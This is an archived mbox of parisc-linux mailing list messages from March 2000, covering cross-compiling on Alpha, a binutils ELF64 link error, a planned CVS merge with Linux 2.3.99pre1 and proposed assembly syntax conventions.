To: Philipp Rumpf <prumpf@inwestnet.de>
Original-X-From: Hugo.van.der.Kooij@caiw.nl  Wed Mar 15 12:30:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA21817
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 12:30:15 -0700
Original-Received: (qmail 1985 invoked by uid 15267); 15 Mar 2000 18:31:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1974 invoked from network); 15 Mar 2000 18:31:35 -0000
Original-Received: from maillist.kabelfoon.nl (194.178.9.136)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 18:31:35 -0000
Original-Received: from bastion.hugo.vanderkooij.org (k4nw032.dial.kabelfoon.nl [195.193.26.32])
	by maillist.kabelfoon.nl (Postfix) with ESMTP
	id D65203AC0; Wed, 15 Mar 2000 19:31:30 +0100 (CET)
Original-Received: from bastion.hugo.vanderkooij.org (bastion.hugo.vanderkooij.org [192.168.100.254])
	by bastion.hugo.vanderkooij.org (8.9.1a/8.9.1) with ESMTP id TAA22177;
	Wed, 15 Mar 2000 19:30:40 +0100
X-Sender: hvdkooij@bastion.hugo.vanderkooij.org
In-Reply-To: <20000315182657.D673@abacus.local>
X-URL: http://www.caiw.nl/~hvdkooij/
X-Loop: Hugo.van.der.Kooij@caiw.nl
Xref: news.gmane.org gmane.linux.ports.parisc:7033

On Wed, 15 Mar 2000, Philipp Rumpf wrote:

> > Will the new ELF compiler/binutils work on an Alpha
> > Linux box?  (I wouldn't think it would make a difference
> > what the host was but then there may be a subtlety there
> > I'm unaware of.)  My x86 is out of disk.
> 
> It might.  The only real difference between alpha and i386 to run a
> cross-compiler on is sizeof(long), and I don't think we rely on that
> too heavily in gcc.

Wouldn't big endian vs little endian be an issue?

I know there is plenty of software out there that does not use proper
handling of pointers and that will break on my Alpha while you can get
away with it on intel based machines. The problem is due to bad coding but
it could be a good case to try and see if the code is clean enough.

Hugo.

-- 
Hugo van der Kooij; Oranje Nassaustraat 16; 3155 VJ  Maasland
hvdkooij@caiw.nl	http://home.kabelfoon.nl/~hvdkooij/
--------------------------------------------------------------
Use of any of my email addresses for unsollicited (commercial)
    email is a clear intrusion of my privacy and illegal!


From - Thu Nov 08 21:12:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cross compiler -- on Alpha?
Date: Wed, 15 Mar 2000 13:48:41 -0500
Lines: 6
Approved: news@gmane.org
Message-ID: <20000315134841.S27942@thepuffingroup.com>
References: <20000315182657.D673@abacus.local> <Pine.LNX.4.10.10003151927530.21833-100000@bastion.hugo.vanderkooij.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618835 31426 80.91.229.3 (22 Nov 2014 01:13:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:55 +0000 (UTC)
Cc: Philipp Rumpf <prumpf@inwestnet.de>, "Brian S. Julin" <bri@mojo.calyx.net>,
        parisc-linux@thepuffingroup.com
To: Hugo.van.der.Kooij@caiw.nl
Original-X-From: willy@thepuffingroup.com  Wed Mar 15 12:48:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA22160
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 12:48:12 -0700
Original-Received: (qmail 15512 invoked by uid 15267); 15 Mar 2000 18:49:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15505 invoked from network); 15 Mar 2000 18:49:34 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 18:49:34 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id NAA20854;
	Wed, 15 Mar 2000 13:48:41 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.LNX.4.10.10003151927530.21833-100000@bastion.hugo.vanderkooij.org>; from Hugo.van.der.Kooij@caiw.nl on Wed, Mar 15, 2000 at 07:30:40PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7034

On Wed, Mar 15, 2000 at 07:30:40PM +0100, Hugo.van.der.Kooij@caiw.nl wrote:
> Wouldn't big endian vs little endian be an issue?

unlikely.  parisc is big endian and i386 is little endian.  people compile
parisc kernels on both machines.


From - Thu Nov 08 21:12:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ramdisk problem with ELF kernel
Date: Wed, 15 Mar 2000 13:50:35 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <20000315135035.T27942@thepuffingroup.com>
References: <20000315113909.28758.qmail@web501.mail.yahoo.com> <Pine.LNX.4.10.10003151921470.21833-100000@bastion.hugo.vanderkooij.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618836 31428 80.91.229.3 (22 Nov 2014 01:13:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:56 +0000 (UTC)
Cc: Ulrich Strelow <ulrich_strelow@yahoo.com>, parisc-linux@thepuffingroup.com
To: Hugo.van.der.Kooij@caiw.nl
Original-X-From: willy@thepuffingroup.com  Wed Mar 15 12:49:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA22297
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 12:49:31 -0700
Original-Received: (qmail 16501 invoked by uid 15267); 15 Mar 2000 18:50:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16486 invoked from network); 15 Mar 2000 18:50:53 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 18:50:53 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id NAA20863;
	Wed, 15 Mar 2000 13:50:35 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.LNX.4.10.10003151921470.21833-100000@bastion.hugo.vanderkooij.org>; from Hugo.van.der.Kooij@caiw.nl on Wed, Mar 15, 2000 at 07:26:08PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7035

On Wed, Mar 15, 2000 at 07:26:08PM +0100, Hugo.van.der.Kooij@caiw.nl wrote:
> Thanks to all those involved. And Let me know where I can lend a hand as a
> non-programmer. (Ok. I wrote some PHP3 stuff but is a different thing.) I
> do have some skill involving documentation. (DocBook SGML by preferences.)

the website is in CVS so anyone can contribute to it and fix mistakes
or update documentation if it starts to succumb to bitrot.  i've been
slowly going through it all but i'm sure the first documents i touched
have started to rot again and there are documents i haven't got to yet.


From - Thu Nov 08 21:12:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cross compiler -- on Alpha?
Date: Wed, 15 Mar 2000 19:55:20 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20000315195520.E673@abacus.local>
References: <20000315182657.D673@abacus.local> <Pine.LNX.4.10.10003151927530.21833-100000@bastion.hugo.vanderkooij.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618836 31429 80.91.229.3 (22 Nov 2014 01:13:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:56 +0000 (UTC)
Cc: "Brian S. Julin" <bri@mojo.calyx.net>, parisc-linux@thepuffingroup.com
To: Hugo.van.der.Kooij@caiw.nl
Original-X-From: prumpf@inwestnet.de  Wed Mar 15 12:55:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA22497
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 12:55:04 -0700
Original-Received: (qmail 20755 invoked by uid 15267); 15 Mar 2000 18:56:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20729 invoked from network); 15 Mar 2000 18:56:25 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 18:56:25 -0000
Original-Received: (qmail 8967 invoked from network); 15 Mar 2000 18:56:19 -0000
Original-Received: from port0706.fra.ginko.net (HELO inwestnet.de) (root@212.202.72.198)
  by mail.ginko.net with SMTP; 15 Mar 2000 18:56:19 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id TAA30415;
	Wed, 15 Mar 2000 19:56:23 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <Pine.LNX.4.10.10003151927530.21833-100000@bastion.hugo.vanderkooij.org>; from Hugo.van.der.Kooij@caiw.nl on Wed, Mar 15, 2000 at 07:30:40PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7036

> > It might.  The only real difference between alpha and i386 to run a
> > cross-compiler on is sizeof(long), and I don't think we rely on that
> > too heavily in gcc.
> 
> Wouldn't big endian vs little endian be an issue?

PA-RISC is (usually) big-endian;  Alpha and i386 are little-endian.  Cross-
compiling from i386 works, so this shouldn't be an issue for cross-compiling
from Alpha.

	Philipp Rumpf


From - Thu Nov 08 21:12:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merge with Linus 2.3.99pre1
Date: Wed, 15 Mar 2000 14:03:09 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20000315140309.U27942@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618836 31432 80.91.229.3 (22 Nov 2014 01:13:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Wed Mar 15 13:01:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA22708
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 13:01:48 -0700
Original-Received: (qmail 25103 invoked by uid 15267); 15 Mar 2000 19:03:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25094 invoked from network); 15 Mar 2000 19:03:10 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 19:03:10 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id OAA20880
	for parisc-linux@thepuffingroup.com; Wed, 15 Mar 2000 14:03:09 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7037


Linus released 2.3.99pre1 today which marks the start of the 2.4
release effort.  We'd like to merge Linus' changes into our tree on
Friday, starting around 11am EST (8am PST, 4pm UTC, 5pm CET).  If you
have any local changes which can go back into our tree, now would be a
good time to commit them.  If you're in the middle of something which
will be disrupted by this, now would also be a good time to shout `STOP'.

People who wish to help are welcome.  Please contact me if you feel you
can help.


From - Thu Nov 08 21:12:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merge with Linus 2.3.99pre1
Date: Wed, 15 Mar 2000 14:28:11 -0500
Organization: Legion of Mozilla
Lines: 9
Approved: news@gmane.org
Message-ID: <38CFE44B.8EAF5DCA@subcarrier.org>
References: <20000315140309.U27942@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618837 31433 80.91.229.3 (22 Nov 2014 01:13:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Wed Mar 15 13:27:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA23167
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 13:27:07 -0700
Original-Received: (qmail 10940 invoked by uid 15267); 15 Mar 2000 19:28:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10928 invoked from network); 15 Mar 2000 19:28:28 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 19:28:28 -0000
Original-Received: (qmail 22301 invoked from network); 15 Mar 2000 19:26:20 -0000
Original-Received: from unknown (HELO subcarrier.org) (216.208.98.2)
  by relay1.pair.com with SMTP; 15 Mar 2000 19:26:20 -0000
X-pair-Authenticated: 216.208.98.2
Original-Sender: subc@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7038

Later today I will post a list of files that will need to be manually
merged or checked as part of the merge effort.  We will need an "owner"
for each of these files so that we can quickly resolve any problems. 
The last merge went smoothly (as smoothly as possible) due to everyone's
cooperation.  Hopefully this time we will spend even less time in merge
hell :)

	- Mike.


From - Thu Nov 08 21:12:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Assembly Language Changes
Date: Wed, 15 Mar 2000 22:16:47 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20000315221647.G673@abacus.local>
References: <20000312152353.E5281@abacus.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618837 31437 80.91.229.3 (22 Nov 2014 01:13:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@inwestnet.de  Wed Mar 15 15:17:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA01778
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 15:17:32 -0700
Original-Received: (qmail 28996 invoked by uid 15267); 15 Mar 2000 21:18:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28987 invoked from network); 15 Mar 2000 21:18:53 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 21:18:53 -0000
Original-Received: (qmail 10570 invoked from network); 15 Mar 2000 21:18:38 -0000
Original-Received: from port0706.fra.ginko.net (HELO inwestnet.de) (root@212.202.72.198)
  by mail.ginko.net with SMTP; 15 Mar 2000 21:18:38 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id WAA00605
	for parisc-linux@thepuffingroup.com; Wed, 15 Mar 2000 22:17:58 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <20000312152353.E5281@abacus.local>; from prumpf@inwestnet.de on Sun, Mar 12, 2000 at 03:23:53PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7039

I haven't received any negative comments about the proposed changes yet,
and think the following changes should become effective soon:

>  - Labels should always use ':'
>  - mnemonics in the first column should be interpreted normally.
>  - register names should always start with '%', not be specified by an
>    integer
>  - ';' should be used rather than '!' to separate multiple statements
>    on the same line
- '!' replaces ';' as the line comment character

I don't think a line comment character should be necessary for new code -
C comments (thats /* comment */, not // comment\n) work fine.

So, still no objections ?

	Philipp Rumpf


From - Thu Nov 08 21:12:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cross compiler -- on Alpha?
Date: Wed, 15 Mar 2000 17:30:03 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0003151719030.7474-100000@mojo.calyx.net>
References: <Pine.LNX.4.10.10003151927530.21833-100000@bastion.hugo.vanderkooij.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618837 31438 80.91.229.3 (22 Nov 2014 01:13:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Wed Mar 15 16:28:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA02709
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 16:28:44 -0700
Original-Received: (qmail 13764 invoked by uid 15267); 15 Mar 2000 22:30:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13751 invoked from network); 15 Mar 2000 22:30:05 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 22:30:05 -0000
Original-Received: (qmail 7605 invoked from network); 15 Mar 2000 22:30:04 -0000
Original-Received: from mojo.calyx.net (HELO mojo) (lqmsrx3p5h24eskxirww@208.132.136.2)
  by mail.calyx.net with SMTP; 15 Mar 2000 22:30:04 -0000
In-Reply-To: <Pine.LNX.4.10.10003151927530.21833-100000@bastion.hugo.vanderkooij.org>
Xref: news.gmane.org gmane.linux.ports.parisc:7040


> I know there is plenty of software out there that does not use proper
> handling of pointers and that will break on my Alpha while you can get
> away with it on intel based machines. The problem is due to bad coding but
> it could be a good case to try and see if the code is clean enough.

OK, well I gave it a spin -- the linker compiled, with a lot of
warnings about integers of different size than pointers.  The rest
of binutils built but I couldn't build gas, I don't think it was
architecture related though:

gcc -g -O2 -o .libs/as-new app.o as.o atof-generic.o bignum-copy.o cond.o
depend.o dwarf2dbg.o ecoff.o ehopt.o expr.o flonum-copy.o flonum-konst.o
flonum-mult.o frags.o hash.o input-file.o input-scrub.o listing.o
literal.o macro.o messages.o output-file.o
read.o sb.o stabs.o subsegs.o symbols.o write.o tc-hppa.o obj-elf.o
atof-ieee.o ../opcodes/.libs/libopcodes.so ../bfd/.libs/libbfd.so
../libiberty/libiberty.a -lm -Wl,--rpath -Wl,/usr/src/parisc/lib
tc-hppa.o: In function `tc_gen_reloc':
/usr/src/parisc/binutils/gas/./config/tc-hppa.c:3972: undefined reference
to `_bfd_elf64_hppa_gen_reloc_type'
/usr/src/parisc/binutils/gas/./config/tc-hppa.c:3972: undefined reference
to `_bfd_elf64_hppa_gen_reloc_type'
collect2: ld returned 1 exit status
make[3]: *** [as-new] Error 1

--
Brian


From - Thu Nov 08 21:12:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cross compiler -- on Alpha?
Date: Wed, 15 Mar 2000 17:35:02 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <20000315173502.Z27942@thepuffingroup.com>
References: <Pine.LNX.4.10.10003151927530.21833-100000@bastion.hugo.vanderkooij.org> <Pine.BSO.4.21.0003151719030.7474-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618838 31441 80.91.229.3 (22 Nov 2014 01:13:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: willy@thepuffingroup.com  Wed Mar 15 16:34:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA02924
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 16:34:25 -0700
Original-Received: (qmail 17426 invoked by uid 15267); 15 Mar 2000 22:35:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17419 invoked from network); 15 Mar 2000 22:35:45 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 22:35:45 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id RAA21368;
	Wed, 15 Mar 2000 17:35:02 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.BSO.4.21.0003151719030.7474-100000@mojo.calyx.net>; from Brian S. Julin on Wed, Mar 15, 2000 at 05:30:03PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7041

On Wed, Mar 15, 2000 at 05:30:03PM -0500, Brian S. Julin wrote:
> /usr/src/parisc/binutils/gas/./config/tc-hppa.c:3972: undefined reference
> to `_bfd_elf64_hppa_gen_reloc_type'
> /usr/src/parisc/binutils/gas/./config/tc-hppa.c:3972: undefined reference
> to `_bfd_elf64_hppa_gen_reloc_type'

elf_64_?  I think you may have misconfigured it.  were you following the
recipe on the website?


From - Thu Nov 08 21:12:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cross compiler -- on Alpha?
Date: 15 Mar 2000 17:57:28 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <87wvn3alk7.fsf@saison.thepuffigroup.com>
References: <Pine.BSO.4.21.0003151719030.7474-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618838 31446 80.91.229.3 (22 Nov 2014 01:13:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: dhd@saison.thepuffigroup.com  Wed Mar 15 16:56:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA03344
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 16:56:59 -0700
Original-Received: (qmail 31993 invoked by uid 15267); 15 Mar 2000 22:58:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31982 invoked from network); 15 Mar 2000 22:58:21 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 22:58:21 -0000
Original-Received: from saison (mail@dhcp158.thepuffingroup.com [192.168.1.158])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id RAA27833;
	Wed, 15 Mar 2000 17:58:19 -0500
Original-Received: from dhd by saison with local (Exim 3.12 #1 (Debian))
	id 12VMjJ-00010E-00; Wed, 15 Mar 2000 17:57:29 -0500
In-Reply-To: "Brian S. Julin"'s message of "Wed, 15 Mar 2000 17:30:03 -0500 (EST)"
Original-Lines: 26
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.5
Original-Sender: David Huggins-Daines <dhd@saison.thepuffigroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7042

"Brian S. Julin" <bri@mojo.calyx.net> writes:

> tc-hppa.o: In function `tc_gen_reloc':
> /usr/src/parisc/binutils/gas/./config/tc-hppa.c:3972: undefined reference
> to `_bfd_elf64_hppa_gen_reloc_type'
> /usr/src/parisc/binutils/gas/./config/tc-hppa.c:3972: undefined reference
> to `_bfd_elf64_hppa_gen_reloc_type'
> collect2: ld returned 1 exit status
> make[3]: *** [as-new] Error 1

Yeah, the problem here is that some part of the binutils configure
script is getting the host and target word size confused and thus
thinking that it should be building for an ELF64 instead of ELF32
target.

You cna fix this by undefining BFD64 in tc-hppa.c and possibly some
other place, I think.  I didn't commit this to CVS because it's really
the wrong thing to do. Someone who actually understands the binutils
configuration and build system should be able to apply the correct fix...


-- 
David Huggins-Daines, Senior Linux Consultant, Linuxcare, Inc.
613.562.1239 tel
dhuggins@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] merge strategy - file owners needed
Date: Wed, 15 Mar 2000 18:17:26 -0500
Organization: Legion of Mozilla
Lines: 49
Approved: news@gmane.org
Message-ID: <38D01A06.DB498CE5@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618838 31451 80.91.229.3 (22 Nov 2014 01:13:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Wed Mar 15 17:16:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA03628
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 17:16:21 -0700
Original-Received: (qmail 11012 invoked by uid 15267); 15 Mar 2000 23:17:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10999 invoked from network); 15 Mar 2000 23:17:43 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2000 23:17:43 -0000
Original-Received: (qmail 966 invoked from network); 15 Mar 2000 23:15:35 -0000
Original-Received: from unknown (HELO subcarrier.org) (216.208.98.2)
  by relay1.pair.com with SMTP; 15 Mar 2000 23:15:35 -0000
X-pair-Authenticated: 216.208.98.2
Original-Sender: subc@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7043

Here's the proposed plan for Friday:

The tree closes at 11am EST (8am PST, 4pm UTC, 5pm CET) - no one checks
in.
I lay down LINUS_2399_PRE1_PREMERGE before starting the merge.
I merge all the files that have been changed by Linus only

I lay down LINUS_2399_PRE1_FIXUP.
The tree is still "closed", but now people can do checkins related to
merging.
The files requiring manual attention are dealt with (by their "owners")
and checked in.
Co-ordination via IRC.

I lay down LINUS_2399_PRE1_DEVEL to mark the end of the merge.
The tree opens for general development (probably mid afternoon).


These are the files that will need some special lovin' on Friday. 
Please step up and agree to "own" some files and do the merging for
those files.  To view the diff between the current tip version and
Linus' version try "cvs di -r1. -rlinus foo.c".

Files modified both by us and Linus:
Makefile,v
drivers/block/rd.c,v
drivers/char/serial.c,v
drivers/net/Makefile,v
drivers/net/Space.c,v
drivers/net/eepro100.c,v
drivers/net/pcnet32.c,v
drivers/pci/pci.c,v
drivers/scsi/Makefile,v
drivers/scsi/hosts.c,v
